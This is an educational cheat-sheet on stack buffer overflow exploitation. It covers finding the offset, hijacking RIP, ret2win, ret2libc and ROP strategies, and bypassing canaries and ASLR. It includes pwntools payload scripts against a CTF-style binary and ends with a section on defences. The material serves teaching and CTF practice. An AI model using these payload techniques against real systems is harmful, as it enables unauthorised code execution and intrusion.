Stack Buffer Overflow

The stack buffer overflow is the classic binary-exploitation vulnerability: a program copies attacker-controlled data into a fixed-size buffer on the stack without checking the size, so writing too much overwrites what’s after the buffer —including the function’s return address. By controlling that address, you control RIP and, with it, the execution flow.

How it works

# stack layout inside a function (grows downward)
[ local buffer ][ saved RBP ][ return address ][ ... ]
# if you write past the buffer:
[ AAAAAAAA...   ][ AAAAAAAA  ][ YOUR_ADDRESS   ]
# on 'ret', RIP = YOUR_ADDRESS -> you redirect execution

The typical bug: gets(buf), strcpy(buf, user), read(0, buf, large_size) over a char buf[64].

Step 1: find the offset

You need to know how many bytes there are from the buffer’s start to the return address:

# cyclic pattern with pwntools
cyclic 200                       # generate a unique pattern
# you run it, the program crashes; see what value ended up in RIP/RSP
cyclic -l 0x6161616c            # tells you the exact offset
# in gdb (pwndbg): 'cyclic 200' and on crash 'cyclic -l $rsp'

Step 2: control RIP

from pwn import *
p = process('./vuln')
offset = 72
payload = b'A'*offset + p64(0xdeadbeef)   # overwrite RIP with 0xdeadbeef
p.sendline(payload)
# if RIP=0xdeadbeef on crash, you have control

Step 3: where to jump (by protections)

# without NX (executable stack): put shellcode on the stack and jump to it (see pwn-shellcode)
payload = shellcode + padding + p64(stack_address)   # + NOP sled
# with NX (the norm today): you can't execute the stack -> ROP (see pwn-rop)
# ret2win (CTF): jump to a "winning" function already in the binary
payload = b'A'*offset + p64(addr_win)
# ret2libc: jump to system("/bin/sh") in libc (needs a leak if ASLR)

Bypassing mitigations

# Stack Canary: a sentinel value before RIP; if you overwrite it, the program aborts
#   -> you need to LEAK the canary (format string, leak) and include it intact in the payload
payload = b'A'*offset_canary + p64(canary) + b'B'*8 + p64(ret_addr)
# ASLR/PIE: addresses change -> you need a LEAK to compute real addresses
# NX: no shellcode on the stack -> ROP

A real modern exploit chains: leak (bypass ASLR) → include canary → ROP (bypass NX).

Full example (ret2win, typical CTF)

from pwn import *
e = ELF('./vuln'); p = process('./vuln')
offset = 72
win = e.symbols['win']            # winning function's address
payload = flat(b'A'*offset, p64(win))
p.sendline(payload)
p.interactive()

For the defense

Stack canaries (-fstack-protector-all): detect the overflow before ret.
NX/DEP: a non-executable stack stops direct shellcode.
ASLR + PIE: randomize addresses (force leaking).
Safe functions: fgets/strncpy/snprintf with sizes; never gets/strcpy/sprintf without a limit.
FORTIFY_SOURCE, compile with warnings, sanitizers (ASan), and fuzzing (AFL++) to catch the bug.

Testing checklist

Identify the buffer and the unchecked-size copy
Find the offset to RIP (cyclic)
Confirm RIP control (crash with a controlled value)
checksec: NX/canary/PIE present
Choose a strategy: shellcode / ret2win / ret2libc / ROP
Bypass the canary (leak) and ASLR/PIE (leak)
Build the payload with pwntools
Shell/flag locally → remote